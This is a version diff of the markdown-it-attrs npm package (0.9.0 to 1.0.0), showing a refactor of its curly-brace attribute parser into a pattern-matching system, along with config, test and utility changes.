markdown-it-attrs
Advanced tools
Comparing version 0.9.0 to 1.0.0
{ | ||
"env": { | ||
"node": true | ||
"node": true, | ||
"es6": true | ||
}, | ||
@@ -5,0 +6,0 @@ "globals": { |
@@ -5,8 +5,5 @@ /* eslint-env es6 */ | ||
md.use(markdownItAttrs); | ||
md.use(markdownItAttrs).use(require('../markdown-it-implicit-figures')); | ||
var src = `- i1 | ||
- n1 | ||
{.first} | ||
{.second}`; | ||
var src = '> quote\n{.c}'; | ||
@@ -13,0 +10,0 @@ var res = md.render(src); |
306
index.js
'use strict'; | ||
var utils = require('./utils.js'); | ||
const patterns = require('./patterns.js'); | ||
module.exports = function attributes(md) { | ||
function curlyAttrs(state){ | ||
var tokens = state.tokens; | ||
var l = tokens.length; | ||
for (var i = 0; i < l; ++i) { | ||
// fenced code blocks | ||
if (tokens[i].block && tokens[i].info && hasCurly(tokens[i].info)) { | ||
var codeCurlyStart = tokens[i].info.indexOf('{'); | ||
var codeCurlyEnd = tokens[i].info.length - 1; | ||
var codeAttrs = utils.getAttrs(tokens[i].info, codeCurlyStart + 1, codeCurlyEnd); | ||
utils.addAttrs(codeAttrs, tokens[i]); | ||
tokens[i].info = removeCurly(tokens[i].info); | ||
continue; | ||
} | ||
// block tokens contain markup | ||
// inline tokens contain the text | ||
if (tokens[i].type !== 'inline') { | ||
continue; | ||
} | ||
function curlyAttrs(state) { | ||
let tokens = state.tokens; | ||
var inlineTokens = tokens[i].children; | ||
if (!inlineTokens || inlineTokens.length <= 0) { | ||
continue; | ||
} | ||
// attributes in inline tokens: | ||
// inline **bold**{.red} text | ||
// { | ||
// "type": "strong_close", | ||
// "tag": "strong", | ||
// "attrs": null, | ||
// "map": null, | ||
// "nesting": -1, | ||
// "level": 0, | ||
// "children": null, | ||
// "content": "", | ||
// "markup": "**", | ||
// "info": "", | ||
// "meta": null, | ||
// "block": false, | ||
// "hidden": false | ||
// }, | ||
// { | ||
// "type": "text", | ||
// "tag": "", | ||
// "attrs": null, | ||
// "map": null, | ||
// "nesting": 0, | ||
// "level": 0, | ||
// "children": null, | ||
// "content": "{.red} text", | ||
// "markup": "", | ||
// "info": "", | ||
// "meta": null, | ||
// "block": false, | ||
// "hidden": false | ||
// } | ||
for (var j=0, k=inlineTokens.length; j<k; ++j) { | ||
// should be inline token of type text | ||
if (!inlineTokens[j] || inlineTokens[j].type !== 'text') { | ||
continue; | ||
} | ||
// token before should not be opening | ||
if (!inlineTokens[j - 1] || inlineTokens[j - 1].nesting === 1) { | ||
continue; | ||
} | ||
// token should contain { in begining | ||
if (inlineTokens[j].content[0] !== '{') { | ||
continue; | ||
} | ||
// } should be found | ||
var endChar = inlineTokens[j].content.indexOf('}'); | ||
if (endChar === -1) { | ||
continue; | ||
} | ||
// which token to add attributes to | ||
var attrToken = matchingOpeningToken(inlineTokens, j - 1); | ||
if (!attrToken) { | ||
continue; | ||
} | ||
var inlineAttrs = utils.getAttrs(inlineTokens[j].content, 1, endChar); | ||
if (inlineAttrs.length !== 0) { | ||
// remove {} | ||
inlineTokens[j].content = inlineTokens[j].content.slice(endChar + 1); | ||
// add attributes | ||
attrToken.info = 'b'; | ||
utils.addAttrs(inlineAttrs, attrToken); | ||
} | ||
} | ||
// attributes for blocks | ||
var lastInlineToken; | ||
if (hasCurly(tokens[i].content)) { | ||
lastInlineToken = last(inlineTokens); | ||
var content = lastInlineToken.content; | ||
var curlyStart = content.lastIndexOf('{'); | ||
var attrs = utils.getAttrs(content, curlyStart + 1, content.length - 1); | ||
// if list and `\n{#c}` -> apply to bullet list open: | ||
// | ||
// - iii | ||
// {#c} | ||
// | ||
// should give | ||
// | ||
// <ul id="c"> | ||
// <li>iii</li> | ||
// </ul> | ||
var nextLastInline = nextLast(inlineTokens); | ||
// some blocks are hidden, example li > paragraph_open | ||
var correspondingBlock = firstTokenNotHidden(tokens, i - 1); | ||
if (nextLastInline && nextLastInline.type === 'softbreak' && | ||
correspondingBlock && correspondingBlock.type === 'list_item_open') { | ||
utils.addAttrs(attrs, bulletListOpen(tokens, i - 1)); | ||
// remove softbreak and {} inline tokens | ||
tokens[i].children = inlineTokens.slice(0, -2); | ||
tokens[i].content = removeCurly(tokens[i].content); | ||
if (hasCurly(tokens[i].content)) { | ||
// do once more: | ||
// | ||
// - item {.a} | ||
// {.b} <-- applied this | ||
i -= 1; | ||
for (let i = 0; i < tokens.length; i++) { | ||
for (let p = 0; p < patterns.length; p++) { | ||
let pattern = patterns[p]; | ||
let j = null; // position of child with offset 0 | ||
let match = pattern.tests.every(t => { | ||
let res = test(tokens, i, t); | ||
if (res.j !== null) { j = res.j; } | ||
return res.match; | ||
}); | ||
if (match) { | ||
pattern.transform(tokens, i, j); | ||
if (pattern.name === 'inline attributes') { | ||
// retry, may be several inline attributes | ||
p--; | ||
} | ||
} else { | ||
utils.addAttrs(attrs, correspondingBlock); | ||
lastInlineToken.content = removeCurly(content); | ||
if (lastInlineToken.content === '') { | ||
// remove empty inline token | ||
inlineTokens.pop(); | ||
} | ||
tokens[i].content = removeCurly(tokens[i].content); | ||
} | ||
} | ||
} | ||
} | ||
md.core.ruler.before('linkify', 'curly_attributes', curlyAttrs); | ||
@@ -146,90 +34,106 @@ }; | ||
/** | ||
* test if string has proper formated curly | ||
* Test if t matches token stream. | ||
* | ||
* @param {array} tokens | ||
* @param {number} i | ||
* @param {object} t Test to match. | ||
* @return {object} { match: true|false, j: null|number } | ||
*/ | ||
function hasCurly(str) { | ||
// we need minimum four chars, example {.b} | ||
if (!str || !str.length || str.length < 4) { | ||
return false; | ||
} | ||
function test(tokens, i, t) { | ||
let res = { | ||
match: false, | ||
j: null // position of child | ||
}; | ||
// should end in } | ||
if (str.charAt(str.length - 1) !== '}') { | ||
return false; | ||
} | ||
let ii = t.shift !== undefined | ||
? i + t.shift | ||
: t.position; | ||
let token = get(tokens, ii); // supports negative ii | ||
// should start with { | ||
if (str.indexOf('{') === -1) { | ||
return false; | ||
} | ||
return true; | ||
} | ||
/** | ||
* some blocks are hidden (not rendered) | ||
*/ | ||
function firstTokenNotHidden(tokens, i) { | ||
if (tokens[i] && tokens[i].hidden) { | ||
return firstTokenNotHidden(tokens, i - 1); | ||
} | ||
return tokens[i]; | ||
} | ||
if (token === undefined) { return res; } | ||
/** | ||
* Find corresponding bullet/ordered list open. | ||
*/ | ||
function bulletListOpen(tokens, i) { | ||
var level = 0; | ||
var token; | ||
for (; i >= 0; i -= 1) { | ||
token = tokens[i]; | ||
// jump past nested lists, level == 0 and open -> correct opening token | ||
if (token.type === 'bullet_list_close' || | ||
token.type === 'ordered_list_close') { | ||
level += 1; | ||
} | ||
if (token.type === 'bullet_list_open' || | ||
token.type === 'ordered_list_open') { | ||
if (level === 0) { | ||
return token; | ||
for (let key in t) { | ||
if (key === 'shift' || key === 'position') { continue; } | ||
if (token[key] === undefined) { return res; } | ||
if (key === 'children' && isArrayOfObjects(t.children)) { | ||
if (token.children.length === 0) { | ||
return res; | ||
} | ||
let match; | ||
let childTests = t.children; | ||
let children = token.children; | ||
if (childTests.every(tt => tt.position !== undefined)) { | ||
// positions instead of shifts, do not loop all children | ||
match = childTests.every(tt => test(children, tt.position, tt).match); | ||
if (match) { | ||
// we may need position of child in transform | ||
let j = last(childTests).position; | ||
res.j = j >= 0 ? j : children.length + j; | ||
} | ||
} else { | ||
level -= 1; | ||
for (let j = 0; j < children.length; j++) { | ||
match = childTests.every(tt => test(children, j, tt).match); | ||
if (match) { | ||
res.j = j; | ||
// all tests true, continue with next key of pattern t | ||
break; | ||
} | ||
} | ||
} | ||
if (match === false) { return res; } | ||
continue; | ||
} | ||
} | ||
} | ||
/** | ||
* find corresponding opening block | ||
*/ | ||
function matchingOpeningToken(tokens, i) { | ||
if (tokens[i].type === 'softbreak') { | ||
return false; | ||
} | ||
// non closing blocks, example img | ||
if (tokens[i].nesting === 0) { | ||
return tokens[i]; | ||
} | ||
var type = tokens[i].type.replace('_close', '_open'); | ||
for (; i >= 0; --i) { | ||
if (tokens[i].type === type) { | ||
return tokens[i]; | ||
switch (typeof t[key]) { | ||
case 'boolean': | ||
case 'number': | ||
case 'string': | ||
if (token[key] !== t[key]) { return res; } | ||
break; | ||
case 'function': | ||
if (!t[key](token[key])) { return res; } | ||
break; | ||
case 'object': | ||
if (isArrayOfFunctions(t[key])) { | ||
let r = t[key].every(tt => tt(token[key])); | ||
if (r === false) { return res; } | ||
break; | ||
} | ||
// fall through for objects !== arrays of functions | ||
default: | ||
throw new Error(`Unknown type of pattern test (key: ${key}). Test should be of type boolean, number, string, function or array of functions.`); | ||
} | ||
} | ||
// no tests returned false -> all tests returns true | ||
res.match = true; | ||
return res; | ||
} | ||
function isArrayOfObjects(arr) { | ||
return Array.isArray(arr) && arr.length && arr.every(i => typeof i === 'object'); | ||
} | ||
function isArrayOfFunctions(arr) { | ||
return Array.isArray(arr) && arr.length && arr.every(i => typeof i === 'function'); | ||
} | ||
/** | ||
* Removes last curly from string. | ||
* Get n item of array. Supports negative n, where -1 is last | ||
* element in array. | ||
* @param {array} arr | ||
* @param {number} n | ||
*/ | ||
function removeCurly(str) { | ||
var curly = /[ \n]?{[^{}}]+}$/; | ||
var pos = str.search(curly); | ||
return pos !== -1 ? str.slice(0, pos) : str; | ||
function get(arr, n) { | ||
return n >= 0 ? arr[n] : arr[arr.length + n]; | ||
} | ||
// get last element of array, safe - returns {} if not found | ||
function last(arr) { | ||
return arr.slice(-1)[0]; | ||
return arr.slice(-1)[0] || {}; | ||
} | ||
function nextLast(arr) { | ||
return arr.slice(-2, -1)[0]; | ||
} |
(function(f){if(typeof exports==="object"&&typeof module!=="undefined"){module.exports=f()}else if(typeof define==="function"&&define.amd){define([],f)}else{var g;if(typeof window!=="undefined"){g=window}else if(typeof global!=="undefined"){g=global}else if(typeof self!=="undefined"){g=self}else{g=this}g.markdownItAttrs = f()}})(function(){var define,module,exports;return (function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s})({1:[function(require,module,exports){ | ||
'use strict'; | ||
var utils = require('./utils.js'); | ||
const patterns = require('./patterns.js'); | ||
module.exports = function attributes(md) { | ||
function curlyAttrs(state){ | ||
var tokens = state.tokens; | ||
var l = tokens.length; | ||
for (var i = 0; i < l; ++i) { | ||
// fenced code blocks | ||
if (tokens[i].block && tokens[i].info && hasCurly(tokens[i].info)) { | ||
var codeCurlyStart = tokens[i].info.indexOf('{'); | ||
var codeCurlyEnd = tokens[i].info.length - 1; | ||
var codeAttrs = utils.getAttrs(tokens[i].info, codeCurlyStart + 1, codeCurlyEnd); | ||
utils.addAttrs(codeAttrs, tokens[i]); | ||
tokens[i].info = removeCurly(tokens[i].info); | ||
continue; | ||
} | ||
// block tokens contain markup | ||
// inline tokens contain the text | ||
if (tokens[i].type !== 'inline') { | ||
continue; | ||
} | ||
function curlyAttrs(state) { | ||
let tokens = state.tokens; | ||
var inlineTokens = tokens[i].children; | ||
if (!inlineTokens || inlineTokens.length <= 0) { | ||
continue; | ||
} | ||
// attributes in inline tokens: | ||
// inline **bold**{.red} text | ||
// { | ||
// "type": "strong_close", | ||
// "tag": "strong", | ||
// "attrs": null, | ||
// "map": null, | ||
// "nesting": -1, | ||
// "level": 0, | ||
// "children": null, | ||
// "content": "", | ||
// "markup": "**", | ||
// "info": "", | ||
// "meta": null, | ||
// "block": false, | ||
// "hidden": false | ||
// }, | ||
// { | ||
// "type": "text", | ||
// "tag": "", | ||
// "attrs": null, | ||
// "map": null, | ||
// "nesting": 0, | ||
// "level": 0, | ||
// "children": null, | ||
// "content": "{.red} text", | ||
// "markup": "", | ||
// "info": "", | ||
// "meta": null, | ||
// "block": false, | ||
// "hidden": false | ||
// } | ||
for (var j=0, k=inlineTokens.length; j<k; ++j) { | ||
// should be inline token of type text | ||
if (!inlineTokens[j] || inlineTokens[j].type !== 'text') { | ||
continue; | ||
} | ||
// token before should not be opening | ||
if (!inlineTokens[j - 1] || inlineTokens[j - 1].nesting === 1) { | ||
continue; | ||
} | ||
// token should contain { in begining | ||
if (inlineTokens[j].content[0] !== '{') { | ||
continue; | ||
} | ||
// } should be found | ||
var endChar = inlineTokens[j].content.indexOf('}'); | ||
if (endChar === -1) { | ||
continue; | ||
} | ||
// which token to add attributes to | ||
var attrToken = matchingOpeningToken(inlineTokens, j - 1); | ||
if (!attrToken) { | ||
continue; | ||
} | ||
var inlineAttrs = utils.getAttrs(inlineTokens[j].content, 1, endChar); | ||
if (inlineAttrs.length !== 0) { | ||
// remove {} | ||
inlineTokens[j].content = inlineTokens[j].content.slice(endChar + 1); | ||
// add attributes | ||
attrToken.info = 'b'; | ||
utils.addAttrs(inlineAttrs, attrToken); | ||
} | ||
} | ||
// attributes for blocks | ||
var lastInlineToken; | ||
if (hasCurly(tokens[i].content)) { | ||
lastInlineToken = last(inlineTokens); | ||
var content = lastInlineToken.content; | ||
var curlyStart = content.lastIndexOf('{'); | ||
var attrs = utils.getAttrs(content, curlyStart + 1, content.length - 1); | ||
// if list and `\n{#c}` -> apply to bullet list open: | ||
// | ||
// - iii | ||
// {#c} | ||
// | ||
// should give | ||
// | ||
// <ul id="c"> | ||
// <li>iii</li> | ||
// </ul> | ||
var nextLastInline = nextLast(inlineTokens); | ||
// some blocks are hidden, example li > paragraph_open | ||
var correspondingBlock = firstTokenNotHidden(tokens, i - 1); | ||
if (nextLastInline && nextLastInline.type === 'softbreak' && | ||
correspondingBlock && correspondingBlock.type === 'list_item_open') { | ||
utils.addAttrs(attrs, bulletListOpen(tokens, i - 1)); | ||
// remove softbreak and {} inline tokens | ||
tokens[i].children = inlineTokens.slice(0, -2); | ||
tokens[i].content = removeCurly(tokens[i].content); | ||
if (hasCurly(tokens[i].content)) { | ||
// do once more: | ||
// | ||
// - item {.a} | ||
// {.b} <-- applied this | ||
i -= 1; | ||
for (let i = 0; i < tokens.length; i++) { | ||
for (let p = 0; p < patterns.length; p++) { | ||
let pattern = patterns[p]; | ||
let j = null; // position of child with offset 0 | ||
let match = pattern.tests.every(t => { | ||
let res = test(tokens, i, t); | ||
if (res.j !== null) { j = res.j; } | ||
return res.match; | ||
}); | ||
if (match) { | ||
pattern.transform(tokens, i, j); | ||
if (pattern.name === 'inline attributes') { | ||
// retry, may be several inline attributes | ||
p--; | ||
} | ||
} else { | ||
utils.addAttrs(attrs, correspondingBlock); | ||
lastInlineToken.content = removeCurly(content); | ||
if (lastInlineToken.content === '') { | ||
// remove empty inline token | ||
inlineTokens.pop(); | ||
} | ||
tokens[i].content = removeCurly(tokens[i].content); | ||
} | ||
} | ||
} | ||
} | ||
md.core.ruler.before('linkify', 'curly_attributes', curlyAttrs); | ||
@@ -147,84 +35,397 @@ }; | ||
/** | ||
* test if string has proper formated curly | ||
* Test if t matches token stream. | ||
* | ||
* @param {array} tokens | ||
* @param {number} i | ||
* @param {object} t Test to match. | ||
* @return {object} { match: true|false, j: null|number } | ||
*/ | ||
function hasCurly(str) { | ||
// we need minimum four chars, example {.b} | ||
if (!str || !str.length || str.length < 4) { | ||
return false; | ||
} | ||
function test(tokens, i, t) { | ||
let res = { | ||
match: false, | ||
j: null // position of child | ||
}; | ||
// should end in } | ||
if (str.charAt(str.length - 1) !== '}') { | ||
return false; | ||
let ii = t.shift !== undefined | ||
? i + t.shift | ||
: t.position; | ||
let token = get(tokens, ii); // supports negative ii | ||
if (token === undefined) { return res; } | ||
for (let key in t) { | ||
if (key === 'shift' || key === 'position') { continue; } | ||
if (token[key] === undefined) { return res; } | ||
if (key === 'children' && isArrayOfObjects(t.children)) { | ||
if (token.children.length === 0) { | ||
return res; | ||
} | ||
let match; | ||
let childTests = t.children; | ||
let children = token.children; | ||
if (childTests.every(tt => tt.position !== undefined)) { | ||
// positions instead of shifts, do not loop all children | ||
match = childTests.every(tt => test(children, tt.position, tt).match); | ||
if (match) { | ||
// we may need position of child in transform | ||
let j = last(childTests).position; | ||
res.j = j >= 0 ? j : children.length + j; | ||
} | ||
} else { | ||
for (let j = 0; j < children.length; j++) { | ||
match = childTests.every(tt => test(children, j, tt).match); | ||
if (match) { | ||
res.j = j; | ||
// all tests true, continue with next key of pattern t | ||
break; | ||
} | ||
} | ||
} | ||
if (match === false) { return res; } | ||
continue; | ||
} | ||
switch (typeof t[key]) { | ||
case 'boolean': | ||
case 'number': | ||
case 'string': | ||
if (token[key] !== t[key]) { return res; } | ||
break; | ||
case 'function': | ||
if (!t[key](token[key])) { return res; } | ||
break; | ||
case 'object': | ||
if (isArrayOfFunctions(t[key])) { | ||
let r = t[key].every(tt => tt(token[key])); | ||
if (r === false) { return res; } | ||
break; | ||
} | ||
// fall through for objects !== arrays of functions | ||
default: | ||
throw new Error(`Unknown type of pattern test (key: ${key}). Test should be of type boolean, number, string, function or array of functions.`); | ||
} | ||
} | ||
// should start with { | ||
if (str.indexOf('{') === -1) { | ||
return false; | ||
} | ||
return true; | ||
// no tests returned false -> all tests returns true | ||
res.match = true; | ||
return res; | ||
} | ||
function isArrayOfObjects(arr) { | ||
return Array.isArray(arr) && arr.length && arr.every(i => typeof i === 'object'); | ||
} | ||
function isArrayOfFunctions(arr) { | ||
return Array.isArray(arr) && arr.length && arr.every(i => typeof i === 'function'); | ||
} | ||
/** | ||
* some blocks are hidden (not rendered) | ||
* Get n item of array. Supports negative n, where -1 is last | ||
* element in array. | ||
* @param {array} arr | ||
* @param {number} n | ||
*/ | ||
function firstTokenNotHidden(tokens, i) { | ||
if (tokens[i] && tokens[i].hidden) { | ||
return firstTokenNotHidden(tokens, i - 1); | ||
} | ||
return tokens[i]; | ||
function get(arr, n) { | ||
return n >= 0 ? arr[n] : arr[arr.length + n]; | ||
} | ||
// get last element of array, safe - returns {} if not found | ||
function last(arr) { | ||
return arr.slice(-1)[0] || {}; | ||
} | ||
},{"./patterns.js":2}],2:[function(require,module,exports){ | ||
'use strict'; | ||
/** | ||
* Find corresponding bullet/ordered list open. | ||
* If a pattern matches the token stream, | ||
* then run transform. | ||
*/ | ||
function bulletListOpen(tokens, i) { | ||
var level = 0; | ||
var token; | ||
for (; i >= 0; i -= 1) { | ||
token = tokens[i]; | ||
// jump past nested lists, level == 0 and open -> correct opening token | ||
if (token.type === 'bullet_list_close' || | ||
token.type === 'ordered_list_close') { | ||
level += 1; | ||
const utils = require('./utils.js'); | ||
module.exports = [ | ||
{ | ||
/** | ||
* ```python {.cls} | ||
* for i in range(10): | ||
* print(i) | ||
* ``` | ||
*/ | ||
name: 'fenced code blocks', | ||
tests: [ | ||
{ | ||
shift: 0, | ||
block: true, | ||
info: utils.hasCurly('end') | ||
} | ||
], | ||
transform: (tokens, i) => { | ||
let token = tokens[i]; | ||
let start = token.info.lastIndexOf('{'); | ||
let attrs = utils.getAttrs(token.info, start); | ||
utils.addAttrs(attrs, token); | ||
token.info = utils.removeCurly(token.info); | ||
} | ||
if (token.type === 'bullet_list_open' || | ||
token.type === 'ordered_list_open') { | ||
if (level === 0) { | ||
return token; | ||
} else { | ||
level -= 1; | ||
}, { | ||
/** | ||
* bla `click()`{.c} | ||
*/ | ||
name: 'code inline', | ||
tests: [ | ||
{ | ||
shift: 0, | ||
type: 'inline', | ||
children: [ | ||
{ | ||
shift: -1, | ||
type: 'code_inline' // does not have nesting: -1 | ||
}, { | ||
shift: 0, | ||
type: 'text', | ||
content: utils.hasCurly('start') | ||
} | ||
] | ||
} | ||
], | ||
transform: (tokens, i, j) => { | ||
let token = tokens[i].children[j]; | ||
let endChar = token.content.indexOf('}'); | ||
var attrToken = tokens[i].children[j - 1]; | ||
var attrs = utils.getAttrs(token.content, 0); | ||
utils.addAttrs(attrs, attrToken); | ||
token.content = token.content.slice(endChar + 1); | ||
} | ||
} | ||
} | ||
/** | ||
* find corresponding opening block | ||
*/ | ||
function matchingOpeningToken(tokens, i) { | ||
if (tokens[i].type === 'softbreak') { | ||
return false; | ||
} | ||
// non closing blocks, example img | ||
if (tokens[i].nesting === 0) { | ||
return tokens[i]; | ||
} | ||
var type = tokens[i].type.replace('_close', '_open'); | ||
for (; i >= 0; --i) { | ||
if (tokens[i].type === type) { | ||
return tokens[i]; | ||
}, { | ||
/** | ||
* | h1 | | ||
* | -- | | ||
* | c1 | | ||
* {.c} | ||
*/ | ||
name: 'tables', | ||
tests: [ | ||
{ | ||
// let this token be i, such that for-loop continues at | ||
// next token after tokens.splice | ||
shift: 0, | ||
type: 'table_close' | ||
}, { | ||
shift: 1, | ||
type: 'paragraph_open' | ||
}, { | ||
shift: 2, | ||
type: 'inline', | ||
content: utils.hasCurly('only') | ||
} | ||
], | ||
transform: (tokens, i) => { | ||
let token = tokens[i + 2]; | ||
var tableOpen = utils.getMatchingOpeningToken(tokens, i); | ||
var attrs = utils.getAttrs(token.content, 0); | ||
// add attributes | ||
utils.addAttrs(attrs, tableOpen); | ||
// remove <p>{.c}</p> | ||
tokens.splice(i + 1, 3); | ||
} | ||
}, { | ||
/** | ||
* *emphasis*{.with attrs=1} | ||
*/ | ||
name: 'inline attributes', | ||
tests: [ | ||
{ | ||
shift: 0, | ||
type: 'inline', | ||
children: [ | ||
{ | ||
shift: -1, | ||
nesting: -1 // closing inline tag, </em>{.a} | ||
}, { | ||
shift: 0, | ||
type: 'text', | ||
content: utils.hasCurly('start') | ||
} | ||
] | ||
} | ||
], | ||
transform: (tokens, i, j) => { | ||
let token = tokens[i].children[j]; | ||
let content = token.content; | ||
let attrs = utils.getAttrs(content, 0); | ||
var openingToken = utils.getMatchingOpeningToken(tokens[i].children, j - 1); | ||
utils.addAttrs(attrs, openingToken); | ||
token.content = content.slice(content.indexOf('}') + 1); | ||
} | ||
}, { | ||
/** | ||
* - item | ||
* {.a} | ||
*/ | ||
name: 'list softbreak', | ||
tests: [ | ||
{ | ||
shift: -2, | ||
type: 'list_item_open' | ||
}, { | ||
shift: 0, | ||
type: 'inline', | ||
children: [ | ||
{ | ||
position: -2, | ||
type: 'softbreak' | ||
}, { | ||
position: -1, | ||
content: utils.hasCurly('only') | ||
} | ||
] | ||
} | ||
], | ||
transform: (tokens, i, j) => { | ||
let token = tokens[i].children[j]; | ||
let content = token.content; | ||
let attrs = utils.getAttrs(content, 0); | ||
let ii = i - 2; | ||
while (tokens[ii - 1] && | ||
tokens[ii - 1].type !== 'ordered_list_open' && | ||
tokens[ii - 1].type !== 'bullet_list_open') { ii--; } | ||
utils.addAttrs(attrs, tokens[ii - 1]); | ||
tokens[i].children = tokens[i].children.slice(0, -2); | ||
} | ||
}, { | ||
/** | ||
* - nested list | ||
* - with double \n | ||
* {.a} <-- apply to nested ul | ||
* | ||
* {.b} <-- apply to root <ul> | ||
*/ | ||
name: 'list double softbreak', | ||
tests: [ | ||
{ | ||
// let this token be i = 0 so that we can erase | ||
// the <p>{.a}</p> tokens below | ||
shift: 0, | ||
type: (str) => | ||
str === 'bullet_list_close' || | ||
str === 'ordered_list_close' | ||
}, { | ||
shift: 1, | ||
type: 'paragraph_open' | ||
}, { | ||
shift: 2, | ||
type: 'inline', | ||
content: utils.hasCurly('only'), | ||
children: (arr) => arr.length === 1 | ||
}, { | ||
shift: 3, | ||
type: 'paragraph_close' | ||
} | ||
], | ||
transform: (tokens, i) => { | ||
let token = tokens[i + 2]; | ||
let content = token.content; | ||
let attrs = utils.getAttrs(content, 0); | ||
let openingToken = utils.getMatchingOpeningToken(tokens, i); | ||
utils.addAttrs(attrs, openingToken); | ||
tokens.splice(i + 1, 3); | ||
} | ||
}, { | ||
/** | ||
* - end of {.list-item} | ||
*/ | ||
name: 'list item end', | ||
tests: [ | ||
{ | ||
shift: -2, | ||
type: 'list_item_open' | ||
}, { | ||
shift: 0, | ||
type: 'inline', | ||
children: [ | ||
{ | ||
position: -1, | ||
content: utils.hasCurly('end') | ||
} | ||
] | ||
} | ||
], | ||
transform: (tokens, i, j) => { | ||
let token = tokens[i].children[j]; | ||
let content = token.content; | ||
let attrs = utils.getAttrs(content, content.lastIndexOf('{')); | ||
utils.addAttrs(attrs, tokens[i - 2]); | ||
let trimmed = content.slice(0, content.lastIndexOf('{')); | ||
token.content = last(trimmed) !== ' ' ? | ||
trimmed : trimmed.slice(0, -1); | ||
} | ||
}, { | ||
/** | ||
* something with softbreak | ||
* {.cls} | ||
*/ | ||
name: '\n{.a} softbreak then curly in start', | ||
tests: [ | ||
{ | ||
shift: 0, | ||
type: 'inline', | ||
children: [ | ||
{ | ||
position: -2, | ||
type: 'softbreak' | ||
}, { | ||
position: -1, | ||
type: 'text', | ||
content: utils.hasCurly('only') | ||
} | ||
] | ||
} | ||
], | ||
transform: (tokens, i, j) => { | ||
let token = tokens[i].children[j]; | ||
let attrs = utils.getAttrs(token.content, 0); | ||
// find last closing tag | ||
let ii = i + 1; | ||
while (tokens[ii + 1] && tokens[ii + 1].nesting === -1) { ii++; } | ||
let openingToken = utils.getMatchingOpeningToken(tokens, ii); | ||
utils.addAttrs(attrs, openingToken); | ||
tokens[i].children = tokens[i].children.slice(0, -2); | ||
} | ||
}, { | ||
/** | ||
* end of {.block} | ||
*/ | ||
name: 'end of block', | ||
tests: [ | ||
{ | ||
shift: 0, | ||
type: 'inline', | ||
children: [ | ||
{ | ||
position: -1, | ||
content: utils.hasCurly('end') | ||
} | ||
] | ||
} | ||
], | ||
transform: (tokens, i, j) => { | ||
let token = tokens[i].children[j]; | ||
let content = token.content; | ||
let attrs = utils.getAttrs(content, content.lastIndexOf('{')); | ||
let ii = i + 1; | ||
while (tokens[ii + 1] && tokens[ii + 1].nesting === -1) { ii++; } | ||
let openingToken = utils.getMatchingOpeningToken(tokens, ii); | ||
utils.addAttrs(attrs, openingToken); | ||
let trimmed = content.slice(0, content.lastIndexOf('{')); | ||
token.content = last(trimmed) !== ' ' ? | ||
trimmed : trimmed.slice(0, -1); | ||
} | ||
} | ||
} | ||
/** | ||
* Removes last curly from string. | ||
*/ | ||
function removeCurly(str) { | ||
var curly = /[ \n]?{[^{}}]+}$/; | ||
var pos = str.search(curly); | ||
]; | ||
return pos !== -1 ? str.slice(0, pos) : str; | ||
} | ||
// get last element of array or string | ||
function last(arr) { | ||
@@ -234,7 +435,4 @@ return arr.slice(-1)[0]; | ||
function nextLast(arr) { | ||
return arr.slice(-2, -1)[0]; | ||
} | ||
},{"./utils.js":2}],2:[function(require,module,exports){ | ||
},{"./utils.js":3}],3:[function(require,module,exports){ | ||
'use strict'; | ||
@@ -244,23 +442,30 @@ /** | ||
* @param {string} str: string to parse | ||
* @param {int} start: where to start parsing (not including {) | ||
* @param {int} end: where to stop parsing (not including }) | ||
* @param {int} start: where to start parsing (including {) | ||
* @returns {2d array}: [['key', 'val'], ['class', 'red']] | ||
*/ | ||
exports.getAttrs = function(str, start, end) { | ||
exports.getAttrs = function (str, start, end) { | ||
// TODO: do not require `end`, stop when } is found | ||
// not tab, line feed, form feed, space, solidus, greater than sign, quotation mark, apostrophe and equals sign | ||
var allowedKeyChars = /[^\t\n\f \/>"'=]/; | ||
var pairSeparator = ' '; | ||
var keySeparator = '='; | ||
var classChar = '.'; | ||
var idChar = '#'; | ||
const allowedKeyChars = /[^\t\n\f />"'=]/; | ||
const pairSeparator = ' '; | ||
const keySeparator = '='; | ||
const classChar = '.'; | ||
const idChar = '#'; | ||
const endChar = '}'; | ||
var attrs = []; | ||
var key = ''; | ||
var value = ''; | ||
var parsingKey = true; | ||
var valueInsideQuotes = false; | ||
const attrs = []; | ||
let key = ''; | ||
let value = ''; | ||
let parsingKey = true; | ||
let valueInsideQuotes = false; | ||
// read inside {} | ||
for (var i=start; i <= end; ++i) { | ||
var char_ = str.charAt(i); | ||
// start + 1 to avoid beginning { | ||
// breaks when } is found or end of string | ||
for (let i = start + 1; i < str.length; i++) { | ||
let char_ = str.charAt(i); | ||
if (char_ === endChar) { | ||
if (key !== '') { attrs.push([key, value]); } | ||
break; | ||
} | ||
@@ -331,4 +536,4 @@ // switch to reading value if equal sign | ||
*/ | ||
exports.addAttrs = function(attrs, token) { | ||
for (var j=0, l=attrs.length; j<l; ++j) { | ||
exports.addAttrs = function (attrs, token) { | ||
for (var j = 0, l = attrs.length; j < l; ++j) { | ||
var key = attrs[j][0]; | ||
@@ -345,2 +550,95 @@ if (key === 'class') { | ||
/** | ||
* Does string have properly formatted curly? | ||
* | ||
* start: '{.a} asdf' | ||
* middle: 'a{.b}c' | ||
* end: 'asdf {.a}' | ||
* only: '{.a}' | ||
* | ||
* @param {string} where to expect {} curly. start, middle, end or only. | ||
* @return {function(string)} Function which testes if string has curly. | ||
*/ | ||
exports.hasCurly = function (where) { | ||
if (!where) { | ||
throw new Error('Parameter `where` not passed. Should be "start", "middle", "end" or "only".'); | ||
} | ||
/** | ||
* @param {string} str | ||
* @return {boolean} | ||
*/ | ||
return function (str) { | ||
// we need minimum four chars, example {.b} | ||
if (!str || typeof str !== 'string' || str.length < 4) { | ||
return false; | ||
} | ||
let start, end; | ||
switch (where) { | ||
case 'start': | ||
// first char should be {, } found in char 3 or more | ||
return str.charAt(0) === '{' && | ||
str.indexOf('}', 3) !== -1; | ||
case 'middle': | ||
// 'a{.b}' | ||
start = str.indexOf('{', 1); | ||
end = start !== -1 && str.indexOf('}', start + 3); | ||
return start !== -1 && end !== -1; | ||
case 'end': | ||
// last char should be } | ||
end = str.charAt(str.length - 1) === '}'; | ||
start = end && str.indexOf('{'); | ||
return end && (start + 3) < str.length; | ||
